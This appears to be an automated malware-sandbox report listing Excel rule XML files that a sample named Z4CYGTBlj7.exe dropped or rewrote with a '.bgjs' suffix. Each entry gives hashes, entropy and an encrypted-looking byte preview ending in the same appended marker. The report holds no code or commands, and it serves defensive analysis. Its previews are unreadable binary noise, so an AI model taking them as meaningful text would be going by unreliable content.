SHA-256:	9A0A5C97537D25C8CF6E98793341F9B1E1E69F059F362DA19B1CBFCD646A1D81
SHA-512:	260248056947C8F03BDF16926CF30E6FD96085C1EAE713D25C57BC220190B08CD4A80315B6A798AA594C13E1F99E0DC2747448FDBEA89B79EEBD22C0A60A9943
Malicious:	false
Preview:	<?xml.!..\\|v..Z.....`........5i.M..5J....o..%..su."N.0Pm..g.pM.[p.?.<.).....F.C:.%.2. E.e6\|}.....\r"..].Y....\...\|..L$.......\|j......,...N..CdK2..J.A$..g...&..p..NrR-.xq..(..."...i.l<.....\|....4p.~..?..i\..#.\e.....H.(0EY.>n.69t.4p..b.:.y...1VD....\|/..&..f.T......{lb..^....'.,.....p~W.t....5.G.\...w.z-9`......g.7.....F...#1....{.....".........^%...u!.Y.{.7..x.D6\.Vz.m.L.8.~m..._lZNcWY8.!...Z..0..$i%..67..."".}S,..0Y......z.^..,.....:.(\...#O\#R....\.[n......].....B.1p...PN..._.....-.0V.`.#...@.1pmG...!..R....P.(.1.1..vI..b..y.+.T..2.k/..xi^..R$'.G..'......p].:..Q.....Y......1....r.-#...7....VW2o.M]_...x....5...z.ah.x0.5^.0."..^z%%.\|^..X.Y..i.5.......p....}...Xu...\|gx.H...\..\|....O.%x..6.?....w8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120661v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.698507257415652
Encrypted:	false
SSDEEP:	12:UzMrXr806806vHNHlBOb8LWLjT9tvFOaXc6rB+8RnjIX3R5TFxJkyvav33udRgI0:pvW806/BiTHvMccoB++a1jdaSsbD
MD5:	5CEECA29C8B14C65E9C622D930DD9149
SHA1:	A7DAC2245208466AE3FB7108C02DAF2C127A6AB0
SHA-256:	D46EE136AC4AEA2698CFAE1991F0C8B447B7614C7EA69582701B137A6C0496B6
SHA-512:	950F989A60EEA0E3C61C40F3AB017546E67D0110CAF9ECB46C607D92C25127713332C36F489BDAEC9CDDBDD843E996236EFF39F0329C10365E2A5A7BD56AA164
Malicious:	false
Preview:	<?xml).^.{.~...)..Y..2...L..._...z"H....~/...E.:.3.t.....F.U,a.He...3. =...+....-..%.%AeR...A.v..}y8as..J.T.%...=g.;.....C.1.jK].noP.....z...^.'...%.9=.......:N.e......Z......{.c.Gb..Zy[....'...8.XS..R.d...~H.,.(.`..../...$(SJ....x..9.M&....>...h9..=...Z..g..\...t..........+2/.l...uR#."8...........Y].pp.~U.\..T..g.l..}.!G..d........./...'5l..>....4..*j)H...p._i..O_......^u#B..c3h....-.R.F.b......s.w...@.[^\|.6......(.\|...k.........^..A...._.rHg..Hl..].....N.$....m"....1...2..l.m....5G..BQ.u......1@...Z.k,..Z...,...X.Zr.A....2P...F...\|.....q...H..Xl....4.J..a....<. .5y#^.D.wK.3.......:....F6.....:......."...a.4.....Q..2H...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120662v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.733092759096061
Encrypted:	false
SSDEEP:	24:qvybUIBcgAEFr4XNwoQ6IHTZQXumaJsbD:qNIBfAEMBbcdzmaJmD
MD5:	D7378BAD2B6582587790FCC9A0B435C7
SHA1:	9FE3E3E2924BF70BFD12AEBBAFAE7045A4D92D7C
SHA-256:	4B8C172380B0B94BF1269DECEFF0472A930CA0B04F858007A27C3939BB99EFD7
SHA-512:	ECCFF6824BC1ABC260FBAF648F1A2E4C189F6B5F8C54EF2ADC0C5BED4C1538C47F63E8E459E83A8E566C3D3DABCF67B858CF3E8356C11A6B46005BE7B0D7C46C
Malicious:	false
Preview:	<?xml..:.".u..<~l..M.6...=......U..o....F....+LE...(.+1...3T......3...N.....k.bv...?...f....tW..3.q...U.+.\Gs.-.`..^....)...}......m8..s.$@P..~.9.L.....sH..y.I\0...c.h..'4...,.......U.=R.E..;._x.f..U...(e.E.....<..$\|U.F.@U.z.1.}P.1.<9...&...n.Y.c..w..&. .9J:.V.....k.O.$7Ae.Yg.'?.f....:X.b.ZT..B.....?...X.~.I.l.0...R.#.i..7...n....@....k?.d...wm?a....e....&.yP".'r......mH.....I&R.U...9w.BT..Qj.=....K.^.I...;Ne.H6&...(.....6.<..._V.....3d....D..2...w&..2h..T...h..R..{.}.E...G..U......"...&..Q..o6..qT.p..4;.!..E..:].v..CG..}..H..S..../x...@B0.'F.....n...sl.xW..0./.E..z..4V<bm)l&.k{E].z...c%....5.....gp'.... m}D..>.O...LQl.B^...d........ .q.&.,.%.i..dd.IBV.._E.2....>...>..2.p.....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120663v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.719483964163887
Encrypted:	false
SSDEEP:	12:6ax5G0IuqUQoY2sIPKZXgTdTOJSZbgYLerMlNCoYG+MGZxaXJ8YJoyl7Qscii9a:6axwlJR2sIPK6Ric+YLeYSx7PaZ8YpU+
MD5:	D1BB63088BA423FB816010C3CBC9EA16
SHA1:	030582867CD36344A920DB975AD8D2C249F6735F
SHA-256:	2B08C51EBCAE13B662498D3E6531999ED8E5A6220CEDA6342326A8F54C7B953F
SHA-512:	6C184F81D02F80CA6216AFE84559DBDCB8FA6A2200597B304B247F19EB0FAA90797AE44258F6B00F8540451C2E7AC6748E0A541CB8AEA3CF20D951295681A2A7
Malicious:	false
Preview:	<?xml...WH.?GJi..ad...0..I.._7gj.A.1oD.......QV....A.../....A.....v.}D.Mcs....&.s.9..82-..5M...>...!R@}i..h..t...=.S.4....us....T.d.f..z..ygFa..s#..h....y..QO.=@..4..r...A.$r&.?a.,.8Xb:"D80....{."s.V.)....l//...F......c..fg..."..B..7..!....l.f].!..m.f.+.F\.k?n.8..O.pnd.Ml.?...V~d..9...}...J.i.:.O.p.}'.#......Y.Es%./..W.^.E..n$....#..t...3F]<B\..6...I(r&.3...../.Ko.B...~.x.x.#.xN.:.m......-.E...S2..7.n.+gmE..RH.x.J.l.X..8..b.X.._.d...Z"......$...>.....C..7A.....>'p-...%/.........}..XI,e.%.....[i...".s...K1.0Q.."......2.#..2...UM...j.....,..n..KUD..Op."...T....t..u....y..[...".#..."...q.1...ds..~.v...{..?.u. .7.....6..v..^.f.......Q.x.]...-8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120664v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	835
Entropy (8bit):	7.706925306826566
Encrypted:	false
SSDEEP:	24:eTHtga4SGOOy/6MMPhXX0K7y5/84OpMPHPX/8SDfsbD:eBN6MaXX0K7y5UjpqvhfmD
MD5:	AAED5953494AE72446747376D0BC66BD
SHA1:	42E0D6DC3029EE92B85E6E824852A7679E6748F6
SHA-256:	80ED283CB098F14634DD936F526B6A834AE72A0C019085FE5C1D61004806C131
SHA-512:	37A889DDE5949C64E2D36359C95E5CA04E1B4D91D2F1B4A4587FDAADFFABBD90206DA96A62D420721690E9FAF01ABB832E5E9737A207F08B7B7DAEA98D2DB911
Malicious:	false
Preview:	<?xmlo7.......~..'(.1?.a..{.........j+W7).....r.XMB..O1........8.....XW.............vN.);.g...h..V.. ...../......<..)@.:,....F.>..\6M^f....,>.".,..d..:....U.#>..........-.N.."lW.....[....=.._.1.(t.`4..1Ye[..X)fy....P.......Ki..[n...;.PHgf...+?...O..x.{.Q.M..x.....j....U.9j..cv......U..D<.\u.p>./].1s.8..ih ?....6..xy2.x..JUE.3jk.#....}..wF[C..d/...w..=.N,..... n8...J._.z.ccm.)B.W..DD..7....B......F.$)X.:..9v".........Fj....X. MVx...Z.#U..--..Y..4..t*.<K&........m.So...Qx19Yq(.B....O"~.1..C...n..P....E.U..R..........M(J........#.a-[..%v'3....)...y..6Y....A.AUz.cc...2....&C...>....Y..kDO.kz...h..=..~{$l...5%G..@H.......3......%.....I.H#...3.(..:.`...B..h...,.^......D.......d.Q~.....~.WbP:....E.K.6...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120665v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.662119795483523
Encrypted:	false
SSDEEP:	12:dElrbV6qVdEMS33Wgka8gfg4ptNzqXNplKr7pqmaza7hqwZZgqrfO0PAl4IyFSx6:dcQqVdE3PqKIdplgEma+7hnzgqKFZyFV
MD5:	45D8AA12CD128CEC43448A119B396D56
SHA1:	1FD16E2CD58D977C9DBBFA56461B048D7F24426F
SHA-256:	989E483B071E011D195AAE60A1C2B15C52DE87DF9152759F3BFC02DA359B073E
SHA-512:	A76BB1ED92D064C34E1214A547C70A81B482D29CB6C9501CAF5190DCE09FE8B3ADE2D0FCEF3E2F41FCFCE9D366739A30D921B25E90DE33573CE09CCD8B15DEC7
Malicious:	false
Preview:	<?xml.`........n.....N...i.jLeM1 J.....WeLv...c.7..).d.&4G~2"........y...tM...u...I..9.I..Q..........e..'..z.@g..H.....(..,#......r....x.7....\....r.F...g$x...F..(......M.7-..^s.Wwf.2d...W.g{..qX4>n..6^....A.G...[...b.v...'.hA_$.t..-.:=.:.....wZ....6Y.&.*..^."..{.=z..2=Z..g<..}........#.;.yp...M...e...%8o5.Q I.z"Gq.TN..s.A\|w..^.......b..jR}..........,..._.2.:.^y.....C.S2..=... .a......Y......@...8Wp.o.L.4fK...9...o.." ..1.-......T.k..&...i..YE.w.35/.z..=.G52.z+..g.d@...6.`)'..j...=...=..?Qz.....}.t.0m.N..b...7....m.u.........5`.Y..b..m.ziu.....U-...E.CG-.By.c.`.7C.au.d.....d!6......,.@Sb......4...h.........o{un...`.!...8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120666v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.752533013052304
Encrypted:	false
SSDEEP:	24:BBZrBx7l1q6MgONjHCZsCPH7PFUS7kfWnlLJROsbD:pBxy6+NEsCPbPFL7BnUmD
MD5:	2D9A1FC4A5A4CEAAF2E5D420E4B02681
SHA1:	1EEB941569033F7B2599A567FB796FAE095FE81A
SHA-256:	91873C53FC2C98D903920C3182C06D4956CBC0CB9004FD27D8379F2FD341866B
SHA-512:	FF2C331424920767217B111865D960DBA0293101BA8680A9C3C5DE2E035B16903EE4D35F2CF8BDC53E54D2D44FB2E45FCF3ACDDAFCC1AE754D1E38DA821A1A1E
Malicious:	false
Preview:	<?xml/.....".....{SZ-i...Im...S6...A.....Jt.>aOGf.0.c9?A. U...8t.<.W...7.c.....V+....M..W?..._..ts?pz..\|.'dH,H...EeC....>..[....q.C).!.X$.f.o.0.y..oC.sT....H....N.u<...[b...p.dR.A..^....H4..v.......%Id./;.....h.j.S....eZ.e8P.q..`'Io>..3.g.z.<...u.<H...c........B.G.F..\|..'..&=.W\x.k.j.....L.WW.Y.-.w.n..}.P...-Q..kv.e....O...Xk....R5..., ].....q..E..z^......+..h...r.....^...~@..U...A.....$j.K....S....gc.^..b.,`v.s(.q.*.&.a#[...`0m...6..>"..G....g><c..su.Ho...?...X)u.B.6.."..F.../-.gNl%~...v.~>...w.5q......N.9l..3$l..G..+........e!."..~`...@;....c..1.....bW.U..QW..T.n..........s....0.8.....Fw..a...-..E8......H..o............{...#6..$o.a....x...q...lwn:.......V. .Bc7'...e...u.:,.W...U.[.....8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120667v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.658766321536989
Encrypted:	false
SSDEEP:	12:a7YKxm63yVa44z4lMwe+UnRbLUWfrou9e5jwOQquSOIlRYdadvo2EwvQscii9a:a73Ca44MlwfroaGuqUdaS2E7sbD
MD5:	8A1498ECBB36E13C59E6170983B2EEA2
SHA1:	5CC97CC0CD11BBA19648654B9E3D15598B4B399D
SHA-256:	700C66F40C59397F91A040EE1028471FE8040A612C8B1653FD2A2E4EC78FD084
SHA-512:	07A17A167C7C5D30B208CCE972298BB695325784CCCAB47236C017B737DDD47CB353709E53B54E94C7E88A0544D95EB727D51BF2055CCE8B159B4AC2A08CB0E2
Malicious:	false
Preview:	<?xmlCJ..BX...}..X...P....l.u./.#..}(...}.'.3..]......0+..y.3[..(....w....}rfu.D].N#..........M..h.!..Jw...a..FQ.7ka7...u.o.T./!EN.V...._.t."A0......... ...+{..2U6...e..@S!.+.5^.F.\|...2I5.....&,....D.......\f.u....9.......x.....D}.I....mm.v+....1.sG....2......j2.D.4...p..6.r-.$RM:D.3@..r.........U...N.....Ac:.~[,..\....~Tu.2..$.xfs......v>V....C.U.x.*...r.8:...../..\>.9....#N4..Ip....~....u....`F.......f.p.{...2.O.:..3...9.=\|.%.`......\...w.....5.&...f...+.Q%..y.CXc,..Ml..{..{....^..h....`r._h..n.s......n..f.~."..E..3g.....n.!D^7...o.M.?.l8M'.r.....f.."h.,.Rk~.C..S..MUL.e..1..Yf.fh...\|...\|...-2.Q.......EvJ".].7.?.B..I.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120668v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.740894772514329
Encrypted:	false
SSDEEP:	24:vluA2Y0+i5kHovUmxd5gwsVHmkqXWSbTsFlJsbD:vluAldiSHIUmNsVxk5ULJmD
MD5:	0636C79F042BE2BC9949BDB50B9625D1
SHA1:	D74B205A9AD1BA4C60C02A9B5E08CF3CC60991EE
SHA-256:	4953C76703003CFA8F34A73BE4C322A14ABD2373C1BA07CDEE66F494688B7C56
SHA-512:	F2661941154E9A78B561364704B02FD1BA09F0DD9AE97FA135EEA20AFA2C8DC86185014B392D4B37B06DAC9A2AC8ADF89DB10377D8217331FDE6992FED9EA800
Malicious:	false
Preview:	<?xml..Z./."\.boP.....%......\..#....Z.l...9...0p%..i..kI.....A.}B....&.e....]...\L.@ck..b...K......Q..)......LAo.....sOR...I/.....tD..n\...El.(..Dan....K.L......=.6`\0.cow.].7...Z..},>.J......\ii..8..!..T...U..hV..wx.L.m....;.e.!...N.>..........N..'.{!+.da.!......#n.j...9..l..]...a...mT.8..v2g...rc....V....l.7..3.7....<b.^......,.'..y...M2]..;..c........Z.w......f.F..[..)a..A.(...9.......P..~x[;...7>......M....X..B..8...IAtk..-...........K......-&wa..g}.......z........>Pe.....?....7..../[...;..........K....W.j#.....'v.Wn.....".........%.<.~...t...D8s/.....XPT?2H....,...".0c..MmV... .S......yN..0Z()UA=...<.X..-)R.:.K3.....H4.]T..F.%..H#.L.A&..v7...e.W.R..\|.:...Bz..RV.i.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120669v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.710789042029107
Encrypted:	false
SSDEEP:	12:8fHdYSjVJiB5keQ84ufgXfrProMc9Jl0minwWhOikK6JkMfmGk94oQscii9a:a7jV6ke0DRjnwWh9kbkOq9esbD
MD5:	7968AE59BACF17A3F27DBE0FC9A5EB68
SHA1:	2148002BA29454F792E03D62F1478EA9BB195250
SHA-256:	C54B89E6DD61CEFBE5E3627F5769A334B5ABA840439AADB5CBBE8D7B6712958E
SHA-512:	72B7D8B64142E21446B9C77A5A06F190F25C27F00357472E834F51A08F3F71734C67D90440CC4DFE2A2A7072D558CA0DF0DB910B0CA9F2CFC7DA3ABFD537F42A
Malicious:	false
Preview:	<?xml...Of.....!..UM......q...Z.G/...+.u.1~...CE).Qy.(E.......C}.s..~\.....L.........R.7.$$.-5..l~.....~.&..o...`..n..:T.....<...3\....\..k....Z\|..)....$.C..N.y....[....r.Z...G..K....B...lE..E.7UQ..&.....m.....$.....(D#."a..1..r{w.0.O...9...T.A/.i,."sT..G......R..P...b.^.."..=.?....$.\|7..Vi.J.E7B......c.J..$......&.. .Y...F..w-.&..4W...............+R([j..H~.....v.xQ.0..f(...L[,y<=..N......c........;1].O.......3._.....R_.n9.}.j.....8..0E8..........O.7...WnzCk...f....j.%..A..E!o.1........5P}...+...+f.0.{.....8.6\...eE...@..7*....:..<..~Q...ow...B....J-.D.'W..K.Aaf......E.v.M}.I.<......A...tJ@.[...8kCU....Jg;.[B......{..5...EcU8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.726513776179713
Encrypted:	false
SSDEEP:	24:isP+LN+wxKSmex7XukLdru8cdiMat712V25OjAzsbD:io+LUKmG7ru8cbmOjAzmD
MD5:	D853AE6C7967016667C70E7C6808399D
SHA1:	A36497F2334AA18F6AA1D36F7E6D2A355B18BC99
SHA-256:	93C860AA0304D6940009C19EE1B91CA5BB7464AC4C0E5EE6CCD42052E13CE7D2
SHA-512:	799E6F2A50A0F8ED946DCE740D2AF4FDA34BBEF75E02EFF55D0F37E49CC1894B946BF266B34B738E5689D689D707589AF5420C442B4F5BEC888614A6A08B4E40
Malicious:	false
Preview:	<?xmld..y.Lf<.,.,.}CK.;...Mk..]e.......%~Z.....W...P..32..........1..p.......Y~.Z--.B.h5.P..>p.O.3h. ..&4I..\|T!.....0.>...<.\|0g.E......;O......&...o.A....J.3r.{.N.....b......5%...v.........<ZN...KcEI.5Zs[......$.l.sp.C8.u...t..j.).K>.].y......m%\|.Z.%a...RU.rfN..0...ZV5b.Bv.i...".......`.>?..&.j..a...M.a..RX..p'y.kH...~i.....,.J..Q...6G.Mh<.=..._/d.^...].x..-../6.G."p...6y.S0...}j...#W?.h......S.J=...v..^g.....H...n0G7.....`.7.e.......O...{...T..^....Q..#.U%.........<k.x_..~...t..KU.=sG...!.K.Jg.\|..`...K.....38.I..?.+.i.+..Z%".....>.O?..x.....(...)....d.-....].?.@....,.5.o..K.;f........s.JYb.g.C.......S..>..j....Z..h.....qq..G.v.tU..[.l............<.n.D.S.n.w...k`.S{..S...1.....S.m.\|..gX..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.709593418502292
Encrypted:	false
SSDEEP:	12:iZl9v0XllTRCcmuSTRIJvv3qeG8gwGIG/xL+yicE/l5EIaDm9XPZzF2Qscii9a:wlJAlTRCcnl3qetGlyc4HEI9JPZzF3sX
MD5:	2B9CC9666F2246FD008CBF4F9C346E2A
SHA1:	F7E098CF40BC5610C1DA6BF1A7E58D5963E1413A
SHA-256:	5F176B85971BBC0F35018093104E189AD659065AAEE274C482301AE31FF30B51
SHA-512:	734BA5E961DF0839EA73F91AC8571E655C5DDE31CD5CC8129D21FA09872D1C8A8F0E713B10D8685B6541A518308796088553777CFF5DF302CD04267731DF4C04
Malicious:	false
Preview:	<?xmlb>=..b#N......?.'..7...U<..x...k....._Y......D6...^.KFp.F......8.o;...={....k.4)^.T.g..s..V......S=...1eY..q7.%.{...#..C....-..T.w.^.\Y6.gT....=...+..S+{....R&..a./.T9p..\|...h<&t..IV.9...n,...n{..1B...>n._..w}.7.)..7.&zY.{...ww..F~.E#......(.v..I@....s..Z\w&#..OHX..{...:JO...x@....HT...^W....gi......f...\.2....l..y.F"F.]:D.&..L.pV/..._ .../.zBR..P.!q;.1~.....D...D.,Ln.s.J.....P...'..N>M....qj:Le......R.2...r......M)O.+2.-....=r-D..I.yKY.:0.....#I...3....M=Ah.#1h\.m..... .Y.u.....;.L!..3..$..q.0d.Z_~...f.).F.. ...GB......H/...IHtN.4..N.GX.bg...Q.#..}..:XV...d.......i.r..%.C...)..v]./5P....c. 6.c..%%ir.w.../..vzp_......nF\..(...o}... .w...zE.b8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.698690570349872
Encrypted:	false
SSDEEP:	24:mdT5myxPCV2KFh/hvdk7orQeNYpryvWQf62ACsbD:dmLQ/hKcrxe2JACmD
MD5:	1FA5667B0AF0C9B156BF01EADE4C2124
SHA1:	88749AE9AFD465307900822255E35EE436213932
SHA-256:	190C294D5AA27F8775D0D2B2A75690813C655F09DC27429E6743139605894554
SHA-512:	CB9AB955FF5426A50945D36C86F458B13CD7616A97242B28A3B522C1E318C6087B8EB4C0FE76BCD852102D4DE92BE86C490E59F76849F8E3107F1C1A3698570E
Malicious:	false
Preview:	<?xml.9._..k......up.;.[.+.<.Mp..p.mZ@u.o\t.;Z.b-.G.a.aU....Q..+....T....G..1.H.;.G.'...,.v..rh.U...SV.;k.4..d&).....t..B}o.<v......MA........6.X~.nb..-`......_D.b."..@T....=M.[..{r.w...rN..=.Ts....u.A.o....]O..^.U.....mo.......r....+k..;P.._0B....o..p......_2......=.Z.hf!.....x;\...l......u........T}..k....k.:y.<.)...m../hr.No..i<iv...S.B..\B`...K.w...!..HCy..8Mi.z..!.........r<..ZF.,8...`.[..u...n...O..D...U......i."8.2Zt...0..._../.-...H.......8,.N>>1d..72c..g~s.%....?..A.[...Y^./...$$.&1.....P.........y...8[+D}8.....m^_.:....g^...=..q.-Wp.!..u._...\].(.j(.t.W..).F.....<.N..Ik.....Q.^..P0Y?.^...."....9.....9+..(.l.$...B..=........Xe..#.....&............~T..W.....z.....S.....`..X.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.670558911651728
Encrypted:	false
SSDEEP:	12:6x8YQjPy99TUzSzeO9qD+79Y1+JAnVOmP32Klnvpu9zEDXu7m2Qscii9a:lY2PyzgSvs+ajVOw32ynvDDeEsbD
MD5:	8291DC3338EEA022C2FF510240544661
SHA1:	2AB6A2177938DD50917D685168BAA7203A785B86
SHA-256:	77B47AF75A9043800BC3AD8EC26D76192BEE7DD2AA6C653C1321DEEBF864C50E
SHA-512:	543E416768245287BDAABB2762C6442D9F9F8A62C5B30D4F7D38291BCBE9BB9097602A59C8436DD63C363577966327937CFD3571A8AA5C488A403B1D7E9A4F9D
Malicious:	false
Preview:	<?xml/..b...v.e..;.B-1...^./@UZ.....<CW...W.C..}..CM .Q.34m..,cP.GoQ.0a.8_..G.t3.K.M..0..j.....!.S.1..q.~&sTnm...Cq....T...B...o5.@Fu...2j.....O..Oi.4x'$L....5.y.<..M.<..}.&......1..$...0..$.D..FF.o...u.\|p.]..Q...@0r..=.\.7.N..@.g....-.8q...'.JO..d.t..&.q...zM.V..^.Z...J...A..+&.GJ.P...z.~qIF....&...]..-....rZ........6.c.,P..._.DN\|.W.'?[dG-....N..b.....K.e......@S.....}.3.l.a.&..#..&YA.....)N........3^-...'..c".-....s.. ;..DT]@.4..fE@"..f8.o......8).o.$.6@)....#....+... .u.O.D...K.....K~(...+2.:..WU.......t12..}.P....8...i~bH..8.$t.j.6j.B....i...:.-).`'..1.t>.....2.,.rpL#....j)....[.x.P.6.....~a\|..;.8n...".......3.}..K......a.....B.f.:~&A..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.738620712468564
Encrypted:	false
SSDEEP:	24:82EbcUZll8HNXaA8NYcMzHcz2I/C+kofoxLsbD:6NyHtn3cMzHcz2I6+kJLmD
MD5:	A0D12F55533804D62F4B5D1C68945E75
SHA1:	617D162C9947796762F50699F54C5248C536BD88
SHA-256:	4223ADD5E9983B9605850000BC01687F410532820DDBAD4B275BF8B77B37DC4A
SHA-512:	F73B30C1B730BA7E87B9C59C8AC80BAEC01FA3185CC5E947A9D5D2FDF8025E0E7C0AB9B6B8B8E35D7504F5545E7F2633A1837B39758AF6542A55492231D7A12C
Malicious:	false
Preview:	<?xml..W$.K.X....s9...7..9.....TZl...'<V>L7...w...bI.....s.1..O....r...n.>.....l'.M.>j....)..\|Z.$xBj.(....&.....D..(.p(.%.o....G.U.r".h?0..R.._.3Y....+_%?.m.......a...{.m.....x...."...U....~.5]....7..`-.Q....d..x..GtH_......Utv.a..p<.f.G<\l...pD.5.;.!<.{#....l.....a..E....A..E..FPNZp..OS...Q.C...t.....Lv%I....wX.4rQJ..(..!>q...=.ar}.8.........cX...!i.. R...Ds.S ~.n...........O9.x#....x..;s..l.........j.n........J.0.."(.k~h....l:.;..r..eJ%.FJ........j..!.C#.....P....PB.6a.G..k...1..1...U.y..tB..HJj.?.F.....:.......a.%X..$N..>.?bi.7.W.`...._d.......9i...PqoV....S.8".x.x....J\|'.B?0..21...1d\.._...V..k7.\.7.Z....~L..-..Zo2_.......~=...(V2.!...[........t.ra...XT...8...Z<.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.687255999679893
Encrypted:	false
SSDEEP:	12:/ncAUplDb0zos9vE/KZpZBER9AisHpCdE05o84+OY4Gq+PNRF0CLoachAUlEoQsX:/cKos9vEK3Bu9AisHpC20XlhPyHhA4e+
MD5:	7E3C97694809C4BC28255ADB99396209
SHA1:	E4466E83F9F73F883EE6B37B37484D1C27B56860
SHA-256:	97FF0CB10ACBB07CFF6B43B7C99B74859C3CD86D08D8C17B43C1FE00EE522425
SHA-512:	0291A981DBB99EA17B9E7F27965754F4BBA969F25F9CDC09B46A7E13366823DC576C613C44BC49634FBAAA593E12A3ED46FA837E438E5D6B0B995C893E8E19B5
Malicious:	false
Preview:	<?xmlKI..R....2.........vt...._vL_".K.e$.t;..m....s...d......`..w.[...k.)zVh..B...,3+...>..-.X...y..x...6..{1.?L<(.w(^..v..3.7...m.=.1..Z.6.ip[L.7].?_q.2vs."..........Y...#.5@<.E.. ;.o.}....._..3y}......x..>...a.v1+ld..N..'...\O^~.. 